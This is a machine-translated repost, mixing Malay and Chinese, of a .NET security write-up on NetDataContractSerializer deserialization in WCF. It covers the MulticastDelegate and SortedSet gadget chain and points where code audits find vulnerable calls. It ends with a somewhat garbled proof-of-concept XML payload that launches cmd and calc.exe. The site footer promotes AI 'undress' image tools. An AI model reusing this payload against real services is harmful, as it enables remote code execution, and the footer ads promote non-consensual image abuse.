Jadual Kandungan
1. Prakata
3. NetDataContractSerializer Deserialization
3.1 Prinsip dan penggunaan deserialization
3.2 Vektor serangan—MulticastDelegate
四、代码审计
4.1 Deserialize
4.2 ReadObject
五、复盘
Rumah Operasi dan penyelenggaraan Keselamatan Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

May 13, 2023 pm 09:37 PM
netdatacontractserializer

1. Prakata

NetDataContractSerializer, seperti DataContractSerializer, digunakan untuk mensiri dan menyahsiri data yang dihantar dalam mesej Windows Communication Foundation (WCF). Terdapat perbezaan penting antara kedua-duanya: NetDataContractSerializer termasuk CLR dan menyokong ketepatan jenis dengan menambahkan maklumat tambahan dan menyimpan rujukan kepada jenis CLR, manakala DataContractSerializer tidak. Oleh itu, NetDataContractSerializer hanya boleh digunakan jika jenis CLR yang sama digunakan pada bahagian bersiri dan penyahserikatan. Untuk mensirikan objek menggunakan kaedah WriteObject atau Serialize, dan untuk menyahsiri aliran XML gunakan kaedah ReadObject atau Deserialize. Dalam sesetengah senario, membaca aliran XML yang berniat jahat akan menyebabkan kerentanan penyahserialisasian, dengan itu mencapai serangan RCE jauh Pengarang artikel ini telah memperkenalkan dan mengeluarkannya dari perspektif prinsip dan pengauditan kod.

2. Bersiri NetDataContractSerializer

Menggunakan WriteObject atau Serialize boleh merealisasikan penukaran antara objek .NET dan data XML dengan mudah pemasangan dan jenis jenis yang bersiri. Maklumat tambahan ini boleh digunakan untuk menyahsiri XML kepada jenis khas, membenarkan jenis yang sama digunakan pada kedua-dua klien dan pelayan. Maklumat tambahan ialah atribut z:Id mempunyai makna yang berbeza pada elemen yang berbeza. Ini digunakan untuk mengendalikan jenis rujukan dan sama ada rujukan boleh dikekalkan apabila XML dinyahsiri Kesimpulan terakhir ialah output ini mengandungi lebih banyak maklumat daripada output DataContractSerializer. Berikut ialah contoh untuk menggambarkan masalah Pertama, tentukan objek TestClass

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Objek TestClass mentakrifkan tiga ahli dan melaksanakan kaedah statik ClassMethod untuk memulakan proses. Serialization memberikan nilai kepada ahli dengan membuat kejadian objek masing-masing

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Pengarang menggunakan Serialize untuk mendapatkan data xml selepas mensiri kelas TestClass

<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
Salin selepas log masuk

3. NetDataContractSerializer Deserialization

3.1 Prinsip dan penggunaan deserialization

Proses penyahserikatan kelas NetDataContractSerializer adalah untuk menukar aliran XML menjadi objek dan memanggil pelbagai kaedah terlebih beban ReadObject atau Serialize dengan mencipta pelaksanaan kaedah baru, semak definisi dan ketahui bahawa ia mewarisi daripada kelas abstrak XmlObjectSerializer dan antara muka IFormatter

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

kelas NetDataContractSerializer melaksanakan kaedah WriteObject dan ReadObject dalam abstrak XmlObjectSerializer. kelas, dan juga melaksanakan kaedah IFormatter yang ditakrifkan dalam. Kod pelaksanaan khusus pengarang yang memanggil kaedah Deserialize dengan mencipta objek baharu boleh dirujuk kepada yang berikut

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Malah, kaedah ReadObject juga dipanggil dalam kaedah Deserialize untuk penyahserialisasian

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Semasa proses penyahserikatan, kaedah ReadObject digunakan untuk memanggil kaedah ReadObjectHandleExceptions, meninggalkan beberapa kod bukan teras, memasukkan badan kaedah InternalReadObject dan penyahsiran untuk mendapatkan sifat objek, dan mencetak nilai Nama ahli.

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

3.2 Vektor serangan—MulticastDelegate

Delegasi Berbilang Siar (MulticastDelegate) mewarisi daripada Delegate, dan senarai panggilannya boleh mempunyai perwakilan dengan berbilang elemen jenis perwakilan di atas diperoleh daripada MulticastDelegate. Medan _invocationList kelas MulticastDelegate akan merujuk tatasusunan delegasi semasa membina rantaian delegasi Walau bagaimanapun, untuk mendapatkan lebih kawalan ke atas rantaian perwakilan, anda mesti menggunakan kaedah GetInvocationList Ia mempunyai senarai perwakilan dengan pautan dan memanggil contoh perwakilan . Apabila tiba masanya, panggilan segerak akan dibuat mengikut susunan perwakilan dalam senarai, jadi bagaimana untuk menambah calc.exe ke kaedah senarai GetInvocationList? Mula-mula lihat kelas Perbandingan, yang digunakan dalam Sistem ruang arahan.Collections.Generik dan ditakrifkan seperti berikut

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Kelas Perbandingan mengembalikan perwakilan, dan kemudian menggunakan kelas Perwakilan atau MulticastDelegate Kaedah statik awam Combine menambah perwakilan kepada rantai sebagai pembanding jenis untuk Perbandingan

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer使用Comparer的静态方法Create创建比较器,比较器对象在.NET集合类中使用的频率较多,也具备了定制的反序列化功能,这里选择SortedSet类,在反序列化的时内部Comparer对象重构了集合的排序。    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer最后传入攻击载荷后得到完整序列化后的poc,如下    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

四、代码审计

4.1 Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

4.2 ReadObject

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer上面两种方式都是很常见的,需要重点关注。

五、复盘

1.  代码中实现读取本地文件内容    

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer2.  传递poc xml,弹出计算器网页返回200

1.  <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
Salin selepas log masuk

最后附上动态效果图

Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer

Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Tetapan grafik terbaik
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Cara Memperbaiki Audio Jika anda tidak dapat mendengar sesiapa
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Cara Membuka Segala -galanya Di Myrise
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)